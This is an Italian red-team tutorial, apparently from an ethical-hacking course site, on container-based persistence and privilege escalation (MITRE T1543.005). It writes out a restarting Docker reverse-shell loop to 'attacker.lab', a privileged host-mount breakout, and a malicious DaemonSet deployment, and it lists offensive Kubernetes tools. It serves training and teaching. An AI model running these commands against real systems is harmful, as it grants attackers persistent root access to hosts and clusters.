Persistenza via Container: Container Service (T1543.005)
La tecnica T1543.005 - Container Service descrive l'abuso di daemon, agent e servizi legati al mondo dei container per ottenere persistenza (TA0003) ed escalation di privilegi (TA0004) sull'host che ospita il runtime. L'attaccante non installa un malware tradizionale: sfrutta le funzionalità native di Docker, Podman, kubelet e delle risorse Kubernetes per garantirsi la rinascita automatica del proprio codice o l'accesso privilegiato al nodo.
Gli esempi più diretti includono l'esecuzione di container con direttiva restart=always, l'uso del socket Docker in modalità rootful per evadere sul sistema ospite, e la creazione di DaemonSet che replicano un pod malevolo su ogni nodo del cluster, compresi quelli aggiunti in seguito. Ulteriore leva è l'uso dei campi nodeSelector o nodeName nella pod spec per forzare l'esecuzione su nodi specifici, magari quelli con dati sensibili.
L'impatto è duplice. Sul piano della persistenza, il container ripartirà ad ogni reboot senza necessità di modificare crontab, servizi systemd tradizionali o chiavi di registro. Sul piano dell'escalation, l'accesso al comando docker rootful equivale di fatto a root sull'host, poiché consente di montare il filesystem / dentro un container privilegiato. In ambienti Kubernetes multi-tenant, un'identità con permessi di deploy pod si traduce spesso in compromissione dell'intero nodo.
In un esercizio red team la tecnica si presta a catene rapide e a basso rumore, perché sfrutta funzionalità legittime dei runtime. Il presupposto è disporre di credenziali o token con accesso al Docker socket (/var/run/docker.sock) oppure a un ServiceAccount Kubernetes con verbi create su pods o daemonsets.
Persistenza via Docker rootful. Un container che riparte da solo su ogni reboot si ottiene con Docker CLI (open source):
docker run -d --restart=always --name sysmon-helper alpine sh -c "while true; do nc attacker.lab 4444 -e /bin/sh; sleep 60; done"
Il flag --restart=always delega a dockerd la ripartenza, senza toccare systemd direttamente. Analogo con Podman (open source): podman run -d --restart=always ..., con la differenza che in modalità rootless la persistenza richiede l'abilitazione di podman generate systemd per creare unit utente in ~/.config/systemd/user/.
Escalation via Docker socket. Se l'utente compromesso è nel gruppo docker, il breakout è banale:
docker run -it --rm --privileged --pid=host -v /:/host alpine chroot /host
Ottiene una shell root sull'host montando il filesystem. Utile in laboratorio per dimostrare l'equivalenza docker group = root.
Persistenza via Kubernetes DaemonSet. Con kubectl (open source) e un ServiceAccount con RBAC adeguato:
kubectl apply -f daemonset-evil.yaml
Il manifest definisce un DaemonSet in namespace kube-system con hostPID: true, hostNetwork: true e volumes che montano / del nodo. Ogni nodo esistente e futuro riceverà il pod. Per targeting mirato si usa nodeSelector con label di nodi specifici (es. quelli etichettati come worker con GPU o accesso a segreti).
Tooling di supporto. Per la fase di ricognizione e abuso su Kubernetes il red team usa comunemente kubectl-who-can (open source) per mappare i permessi, peirates (open source) per l'exploitation da dentro un pod compromesso, Bad-Pods (open source) di BishopFox come collezione di manifest weaponizzati, e kube-hunter (open source) di Aqua Security per la scoperta di API server esposti. Per l'analisi di container image e configurazioni, Trivy (open source) e kube-bench (open source) aiutano a identificare misconfigurazioni sfruttabili prima dell'ingaggio.
Mantieni tutte le attività in ambienti isolati: un DaemonSet in un cluster di produzione è difficile da rimuovere senza tracce.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo